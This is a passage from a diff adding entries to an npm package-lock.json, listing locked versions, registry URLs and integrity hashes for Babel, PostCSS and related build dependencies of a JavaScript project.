+        "@babel/plugin-transform-unicode-escapes": "^7.18.10",
+        "@babel/plugin-transform-unicode-regex": "^7.18.6",
+        "@babel/preset-modules": "^0.1.5",
+        "@babel/types": "^7.19.3",
+        "babel-plugin-polyfill-corejs2": "^0.3.3",
+        "babel-plugin-polyfill-corejs3": "^0.6.0",
+        "babel-plugin-polyfill-regenerator": "^0.4.1",
+        "core-js-compat": "^3.25.1",
+        "semver": "^6.3.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/preset-env/node_modules/semver": {
+      "version": "6.3.1",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz",
+      "integrity": "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==",
+      "bin": {
+        "semver": "bin/semver.js"
+      }
+    },
+    "node_modules/@babel/preset-modules": {
+      "version": "0.1.5",
+      "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.5.tgz",
+      "integrity": "sha512-A57th6YRG7oR3cq/yt/Y84MvGgE0eJG2F1JLhKuyG+jFxEgrd/HAMJatiFtmOiZurz+0DkrvbheCLaV5f2JfjA==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.0.0",
+        "@babel/plugin-proposal-unicode-property-regex": "^7.4.4",
+        "@babel/plugin-transform-dotall-regex": "^7.4.4",
+        "@babel/types": "^7.4.4",
+        "esutils": "^2.0.2"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/preset-react": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/preset-react/-/preset-react-7.18.6.tgz",
+      "integrity": "sha512-zXr6atUmyYdiWRVLOZahakYmOBHtWc2WGCkP8PYTgZi0iJXDY2CN180TdrIW4OGOAdLc7TifzDIvtx6izaRIzg==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "@babel/helper-validator-option": "^7.18.6",
+        "@babel/plugin-transform-react-display-name": "^7.18.6",
+        "@babel/plugin-transform-react-jsx": "^7.18.6",
+        "@babel/plugin-transform-react-jsx-development": "^7.18.6",
+        "@babel/plugin-transform-react-pure-annotations": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/preset-typescript": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/preset-typescript/-/preset-typescript-7.18.6.tgz",
+      "integrity": "sha512-s9ik86kXBAnD760aybBucdpnLsAt0jK1xqJn2juOn9lkOvSHV60os5hxoVJsPzMQxvnUJFAlkont2DvvaYEBtQ==",
+      "dependencies": {
+        "@babel/helper-plugin-utils": "^7.18.6",
+        "@babel/helper-validator-option": "^7.18.6",
+        "@babel/plugin-transform-typescript": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      },
+      "peerDependencies": {
+        "@babel/core": "^7.0.0-0"
+      }
+    },
+    "node_modules/@babel/runtime": {
+      "version": "7.14.0",
+      "resolved": "https://registry.nlark.com/@babel/runtime/download/@babel/runtime-7.14.0.tgz?cache=0&sync_timestamp=1619727528467&other_urls=https%3A%2F%2Fregistry.nlark.com%2F%40babel%2Fruntime%2Fdownload%2F%40babel%2Fruntime-7.14.0.tgz",
+      "integrity": "sha1-RnlLwgthLF915i3QceJN/ZXxy+Y=",
+      "dependencies": {
+        "regenerator-runtime": "^0.13.4"
+      }
+    },
+    "node_modules/@babel/runtime-corejs3": {
+      "version": "7.14.0",
+      "resolved": "https://registry.nlark.com/@babel/runtime-corejs3/download/@babel/runtime-corejs3-7.14.0.tgz",
+      "integrity": "sha1-a/X7wLlh+OMgKIjLLND7egqaP2Y=",
+      "dependencies": {
+        "core-js-pure": "^3.0.0",
+        "regenerator-runtime": "^0.13.4"
+      }
+    },
+    "node_modules/@babel/template": {
+      "version": "7.18.10",
+      "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.18.10.tgz",
+      "integrity": "sha512-TI+rCtooWHr3QJ27kJxfjutghu44DLnasDMwpDqCXVTal9RLp3RSYNh4NdBrRP2cQAoG9A8juOQl6P6oZG4JxA==",
+      "dependencies": {
+        "@babel/code-frame": "^7.18.6",
+        "@babel/parser": "^7.18.10",
+        "@babel/types": "^7.18.10"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/template/node_modules/@babel/code-frame": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.18.6.tgz",
+      "integrity": "sha512-TDCmlK5eOvH+eH7cdAFlNXeVJqWIQ7gW9tY1GJIpUtFb6CmjVyq2VM3u71bOyR8CRihcCgMUYoDNyLXao3+70Q==",
+      "dependencies": {
+        "@babel/highlight": "^7.18.6"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/template/node_modules/@babel/helper-validator-identifier": {
+      "version": "7.19.1",
+      "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.19.1.tgz",
+      "integrity": "sha512-awrNfaMtnHUr653GgGEs++LlAvW6w+DcPrOliSMXWCKo597CwL5Acf/wWdNkf/tfEQE3mjkeD1YOVZOUV/od1w==",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/template/node_modules/@babel/highlight": {
+      "version": "7.18.6",
+      "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.18.6.tgz",
+      "integrity": "sha512-u7stbOuYjaPezCuLj29hNW1v64M2Md2qupEKP1fHc7WdOA3DgLh37suiSrZYY7haUB7iBeQZ9P1uiRF359do3g==",
+      "dependencies": {
+        "@babel/helper-validator-identifier": "^7.18.6",
+        "chalk": "^2.0.0",
+        "js-tokens": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/template/node_modules/ansi-styles": {
+      "version": "3.2.1",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
+      "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
+      "dependencies": {
+        "color-convert": "^1.9.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/@babel/template/node_modules/chalk": {
+      "version": "2.4.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz",
+      "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==",
+      "dependencies": {
+        "ansi-styles": "^3.2.1",
+        "escape-string-regexp": "^1.0.5",
+        "supports-color": "^5.3.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/@babel/template/node_modules/supports-color": {
+      "version": "5.5.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
+      "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
+      "dependencies": {
+        "has-flag": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/@babel/traverse": {
+      "version": "7.23.2",
+      "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.23.2.tgz",
+      "integrity": "sha512-azpe59SQ48qG6nu2CzcMLbxUudtN+dOM9kDbUqGq3HXUJRlo7i8fvPoxQUzYgLZ4cMVmuZgm8vvBpNeRhd6XSw==",
+      "dependencies": {
+        "@babel/code-frame": "^7.22.13",
+        "@babel/generator": "^7.23.0",
+        "@babel/helper-environment-visitor": "^7.22.20",
+        "@babel/helper-function-name": "^7.23.0",
+        "@babel/helper-hoist-variables": "^7.22.5",
+        "@babel/helper-split-export-declaration": "^7.22.6",
+        "@babel/parser": "^7.23.0",
+        "@babel/types": "^7.23.0",
+        "debug": "^4.1.0",
+        "globals": "^11.1.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/traverse/node_modules/@babel/code-frame": {
+      "version": "7.22.13",
+      "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.22.13.tgz",
+      "integrity": "sha512-XktuhWlJ5g+3TJXc5upd9Ks1HutSArik6jf2eAjYFyIOf4ej3RN+184cZbzDvbPnuTJIUhPKKJE3cIsYTiAT3w==",
+      "dependencies": {
+        "@babel/highlight": "^7.22.13",
+        "chalk": "^2.4.2"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/traverse/node_modules/@babel/generator": {
+      "version": "7.23.0",
+      "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.23.0.tgz",
+      "integrity": "sha512-lN85QRR+5IbYrMWM6Y4pE/noaQtg4pNiqeNGX60eqOfo6gtEj6uw/JagelB8vVztSd7R6M5n1+PQkDbHbBRU4g==",
+      "dependencies": {
+        "@babel/types": "^7.23.0",
+        "@jridgewell/gen-mapping": "^0.3.2",
+        "@jridgewell/trace-mapping": "^0.3.17",
+        "jsesc": "^2.5.1"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/traverse/node_modules/@babel/helper-environment-visitor": {
+      "version": "7.22.20",
+      "resolved": "https://registry.npmjs.org/@babel/helper-environment-visitor/-/helper-environment-visitor-7.22.20.tgz",
+      "integrity": "sha512-zfedSIzFhat/gFhWfHtgWvlec0nqB9YEIVrpuwjruLlXfUSnA8cJB0miHKwqDnQ7d32aKo2xt88/xZptwxbfhA==",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/traverse/node_modules/@babel/helper-function-name": {
+      "version": "7.23.0",
+      "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.23.0.tgz",
+      "integrity": "sha512-OErEqsrxjZTJciZ4Oo+eoZqeW9UIiOcuYKRJA4ZAgV9myA+pOXhhmpfNCKjEH/auVfEYVFJ6y1Tc4r0eIApqiw==",
+      "dependencies": {
+        "@babel/template": "^7.22.15",
+        "@babel/types": "^7.23.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/traverse/node_modules/@babel/helper-hoist-variables": {
+      "version": "7.22.5",
+      "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.22.5.tgz",
+      "integrity": "sha512-wGjk9QZVzvknA6yKIUURb8zY3grXCcOZt+/7Wcy8O2uctxhplmUPkOdlgoNhmdVee2c92JXbf1xpMtVNbfoxRw==",
+      "dependencies": {
+        "@babel/types": "^7.22.5"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/traverse/node_modules/@babel/helper-split-export-declaration": {
+      "version": "7.22.6",
+      "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.22.6.tgz",
+      "integrity": "sha512-AsUnxuLhRYsisFiaJwvp1QF+I3KjD5FOxut14q/GzovUe6orHLesW2C7d754kRm53h5gqrz6sFl6sxc4BVtE/g==",
+      "dependencies": {
+        "@babel/types": "^7.22.5"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/traverse/node_modules/@babel/helper-string-parser": {
+      "version": "7.22.5",
+      "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.22.5.tgz",
+      "integrity": "sha512-mM4COjgZox8U+JcXQwPijIZLElkgEpO5rsERVDJTc2qfCDfERyob6k5WegS14SX18IIjv+XD+GrqNumY5JRCDw==",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/traverse/node_modules/@babel/helper-validator-identifier": {
+      "version": "7.22.20",
+      "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.22.20.tgz",
+      "integrity": "sha512-Y4OZ+ytlatR8AI+8KZfKuL5urKp7qey08ha31L8b3BwewJAoJamTzyvxPR/5D+KkdJCGPq/+8TukHBlY10FX9A==",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/traverse/node_modules/@babel/highlight": {
+      "version": "7.22.20",
+      "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.22.20.tgz",
+      "integrity": "sha512-dkdMCN3py0+ksCgYmGG8jKeGA/8Tk+gJwSYYlFGxG5lmhfKNoAy004YpLxpS1W2J8m/EK2Ew+yOs9pVRwO89mg==",
+      "dependencies": {
+        "@babel/helper-validator-identifier": "^7.22.20",
+        "chalk": "^2.4.2",
+        "js-tokens": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/traverse/node_modules/@babel/parser": {
+      "version": "7.23.0",
+      "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.23.0.tgz",
+      "integrity": "sha512-vvPKKdMemU85V9WE/l5wZEmImpCtLqbnTvqDS2U1fJ96KrxoW7KrXhNsNCblQlg8Ck4b85yxdTyelsMUgFUXiw==",
+      "bin": {
+        "parser": "bin/babel-parser.js"
+      },
+      "engines": {
+        "node": ">=6.0.0"
+      }
+    },
+    "node_modules/@babel/traverse/node_modules/@babel/template": {
+      "version": "7.22.15",
+      "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.22.15.tgz",
+      "integrity": "sha512-QPErUVm4uyJa60rkI73qneDacvdvzxshT3kksGqlGWYdOTIUOwJ7RDUL8sGqslY1uXWSL6xMFKEXDS3ox2uF0w==",
+      "dependencies": {
+        "@babel/code-frame": "^7.22.13",
+        "@babel/parser": "^7.22.15",
+        "@babel/types": "^7.22.15"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/traverse/node_modules/@babel/types": {
+      "version": "7.23.0",
+      "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.23.0.tgz",
+      "integrity": "sha512-0oIyUfKoI3mSqMvsxBdclDwxXKXAUA8v/apZbc+iSyARYou1o8ZGDxbUYyLFoW2arqS2jDGqJuZvv1d/io1axg==",
+      "dependencies": {
+        "@babel/helper-string-parser": "^7.22.5",
+        "@babel/helper-validator-identifier": "^7.22.20",
+        "to-fast-properties": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/traverse/node_modules/@jridgewell/gen-mapping": {
+      "version": "0.3.3",
+      "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.3.tgz",
+      "integrity": "sha512-HLhSWOLRi875zjjMG/r+Nv0oCW8umGb0BgEhyX3dDX3egwZtB8PqLnjz3yedt8R5StBrzcg4aBpnh8UA9D1BoQ==",
+      "dependencies": {
+        "@jridgewell/set-array": "^1.0.1",
+        "@jridgewell/sourcemap-codec": "^1.4.10",
+        "@jridgewell/trace-mapping": "^0.3.9"
+      },
+      "engines": {
+        "node": ">=6.0.0"
+      }
+    },
+    "node_modules/@babel/traverse/node_modules/@jridgewell/trace-mapping": {
+      "version": "0.3.20",
+      "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.20.tgz",
+      "integrity": "sha512-R8LcPeWZol2zR8mmH3JeKQ6QRCFb7XgUhV9ZlGhHLGyg4wpPiPZNQOOWhFZhxKw8u//yTbNGI42Bx/3paXEQ+Q==",
+      "dependencies": {
+        "@jridgewell/resolve-uri": "^3.1.0",
+        "@jridgewell/sourcemap-codec": "^1.4.14"
+      }
+    },
+    "node_modules/@babel/traverse/node_modules/ansi-styles": {
+      "version": "3.2.1",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
+      "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
+      "dependencies": {
+        "color-convert": "^1.9.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/@babel/traverse/node_modules/chalk": {
+      "version": "2.4.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz",
+      "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==",
+      "dependencies": {
+        "ansi-styles": "^3.2.1",
+        "escape-string-regexp": "^1.0.5",
+        "supports-color": "^5.3.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/@babel/traverse/node_modules/supports-color": {
+      "version": "5.5.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
+      "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
+      "dependencies": {
+        "has-flag": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/@babel/types": {
+      "version": "7.19.3",
+      "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.19.3.tgz",
+      "integrity": "sha512-hGCaQzIY22DJlDh9CH7NOxgKkFjBk0Cw9xDO1Xmh2151ti7wiGfQ3LauXzL4HP1fmFlTX6XjpRETTpUcv7wQLw==",
+      "dependencies": {
+        "@babel/helper-string-parser": "^7.18.10",
+        "@babel/helper-validator-identifier": "^7.19.1",
+        "to-fast-properties": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@babel/types/node_modules/@babel/helper-validator-identifier": {
+      "version": "7.19.1",
+      "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.19.1.tgz",
+      "integrity": "sha512-awrNfaMtnHUr653GgGEs++LlAvW6w+DcPrOliSMXWCKo597CwL5Acf/wWdNkf/tfEQE3mjkeD1YOVZOUV/od1w==",
+      "engines": {
+        "node": ">=6.9.0"
+      }
+    },
+    "node_modules/@bcoe/v8-coverage": {
+      "version": "0.2.3",
+      "resolved": "https://registry.npmjs.org/@bcoe/v8-coverage/-/v8-coverage-0.2.3.tgz",
+      "integrity": "sha512-0hYQ8SB4Db5zvZB4axdMHGwEaQjkZzFjQiN9LVYvIFB2nSUHW9tYpxWriPrWDASIxiaXax83REcLxuSdnGPZtw=="
+    },
+    "node_modules/@csstools/normalize.css": {
+      "version": "12.0.0",
+      "resolved": "https://registry.npmjs.org/@csstools/normalize.css/-/normalize.css-12.0.0.tgz",
+      "integrity": "sha512-M0qqxAcwCsIVfpFQSlGN5XjXWu8l5JDZN+fPt1LeW5SZexQTgnaEvgXAY+CeygRw0EeppWHi12JxESWiWrB0Sg=="
+    },
+    "node_modules/@csstools/postcss-cascade-layers": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-cascade-layers/-/postcss-cascade-layers-1.1.1.tgz",
+      "integrity": "sha512-+KdYrpKC5TgomQr2DlZF4lDEpHcoxnj5IGddYYfBWJAKfj1JtuHUIqMa+E1pJJ+z3kvDViWMqyqPlG4Ja7amQA==",
+      "dependencies": {
+        "@csstools/selector-specificity": "^2.0.2",
+        "postcss-selector-parser": "^6.0.10"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/@csstools/postcss-color-function": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-color-function/-/postcss-color-function-1.1.1.tgz",
+      "integrity": "sha512-Bc0f62WmHdtRDjf5f3e2STwRAl89N2CLb+9iAwzrv4L2hncrbDwnQD9PCq0gtAt7pOI2leIV08HIBUd4jxD8cw==",
+      "dependencies": {
+        "@csstools/postcss-progressive-custom-properties": "^1.1.0",
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/@csstools/postcss-font-format-keywords": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-font-format-keywords/-/postcss-font-format-keywords-1.0.1.tgz",
+      "integrity": "sha512-ZgrlzuUAjXIOc2JueK0X5sZDjCtgimVp/O5CEqTcs5ShWBa6smhWYbS0x5cVc/+rycTDbjjzoP0KTDnUneZGOg==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/@csstools/postcss-hwb-function": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-hwb-function/-/postcss-hwb-function-1.0.2.tgz",
+      "integrity": "sha512-YHdEru4o3Rsbjmu6vHy4UKOXZD+Rn2zmkAmLRfPet6+Jz4Ojw8cbWxe1n42VaXQhD3CQUXXTooIy8OkVbUcL+w==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/@csstools/postcss-ic-unit": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-ic-unit/-/postcss-ic-unit-1.0.1.tgz",
+      "integrity": "sha512-Ot1rcwRAaRHNKC9tAqoqNZhjdYBzKk1POgWfhN4uCOE47ebGcLRqXjKkApVDpjifL6u2/55ekkpnFcp+s/OZUw==",
+      "dependencies": {
+        "@csstools/postcss-progressive-custom-properties": "^1.1.0",
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/@csstools/postcss-is-pseudo-class": {
+      "version": "2.0.7",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-is-pseudo-class/-/postcss-is-pseudo-class-2.0.7.tgz",
+      "integrity": "sha512-7JPeVVZHd+jxYdULl87lvjgvWldYu+Bc62s9vD/ED6/QTGjy0jy0US/f6BG53sVMTBJ1lzKZFpYmofBN9eaRiA==",
+      "dependencies": {
+        "@csstools/selector-specificity": "^2.0.0",
+        "postcss-selector-parser": "^6.0.10"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/@csstools/postcss-nested-calc": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-nested-calc/-/postcss-nested-calc-1.0.0.tgz",
+      "integrity": "sha512-JCsQsw1wjYwv1bJmgjKSoZNvf7R6+wuHDAbi5f/7MbFhl2d/+v+TvBTU4BJH3G1X1H87dHl0mh6TfYogbT/dJQ==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/@csstools/postcss-normalize-display-values": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-normalize-display-values/-/postcss-normalize-display-values-1.0.1.tgz",
+      "integrity": "sha512-jcOanIbv55OFKQ3sYeFD/T0Ti7AMXc9nM1hZWu8m/2722gOTxFg7xYu4RDLJLeZmPUVQlGzo4jhzvTUq3x4ZUw==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/@csstools/postcss-oklab-function": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-oklab-function/-/postcss-oklab-function-1.1.1.tgz",
+      "integrity": "sha512-nJpJgsdA3dA9y5pgyb/UfEzE7W5Ka7u0CX0/HIMVBNWzWemdcTH3XwANECU6anWv/ao4vVNLTMxhiPNZsTK6iA==",
+      "dependencies": {
+        "@csstools/postcss-progressive-custom-properties": "^1.1.0",
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/@csstools/postcss-progressive-custom-properties": {
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-progressive-custom-properties/-/postcss-progressive-custom-properties-1.3.0.tgz",
+      "integrity": "sha512-ASA9W1aIy5ygskZYuWams4BzafD12ULvSypmaLJT2jvQ8G0M3I8PRQhC0h7mG0Z3LI05+agZjqSR9+K9yaQQjA==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "peerDependencies": {
+        "postcss": "^8.3"
+      }
+    },
+    "node_modules/@csstools/postcss-stepped-value-functions": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-stepped-value-functions/-/postcss-stepped-value-functions-1.0.1.tgz",
+      "integrity": "sha512-dz0LNoo3ijpTOQqEJLY8nyaapl6umbmDcgj4AD0lgVQ572b2eqA1iGZYTTWhrcrHztWDDRAX2DGYyw2VBjvCvQ==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/@csstools/postcss-text-decoration-shorthand": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-text-decoration-shorthand/-/postcss-text-decoration-shorthand-1.0.0.tgz",
+      "integrity": "sha512-c1XwKJ2eMIWrzQenN0XbcfzckOLLJiczqy+YvfGmzoVXd7pT9FfObiSEfzs84bpE/VqfpEuAZ9tCRbZkZxxbdw==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/@csstools/postcss-trigonometric-functions": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-trigonometric-functions/-/postcss-trigonometric-functions-1.0.2.tgz",
+      "integrity": "sha512-woKaLO///4bb+zZC2s80l+7cm07M7268MsyG3M0ActXXEFi6SuhvriQYcb58iiKGbjwwIU7n45iRLEHypB47Og==",
+      "dependencies": {
+        "postcss-value-parser": "^4.2.0"
+      },
+      "engines": {
+        "node": "^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/@csstools/postcss-unset-value": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/@csstools/postcss-unset-value/-/postcss-unset-value-1.0.2.tgz",
+      "integrity": "sha512-c8J4roPBILnelAsdLr4XOAR/GsTm0GJi4XpcfvoWk3U6KiTCqiFYc63KhRMQQX35jYMp4Ao8Ij9+IZRgMfJp1g==",
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2"
+      }
+    },
+    "node_modules/@csstools/selector-specificity": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/@csstools/selector-specificity/-/selector-specificity-2.0.2.tgz",
+      "integrity": "sha512-IkpVW/ehM1hWKln4fCA3NzJU8KwD+kIOvPZA4cqxoJHtE21CCzjyp+Kxbu0i5I4tBNOlXPL9mjwnWlL0VEG4Fg==",
+      "engines": {
+        "node": "^12 || ^14 || >=16"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/csstools"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2",
+        "postcss-selector-parser": "^6.0.10"
+      }
+    },
+    "node_modules/@eslint/eslintrc": {
+      "version": "1.3.2",
+      "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-1.3.2.tgz",
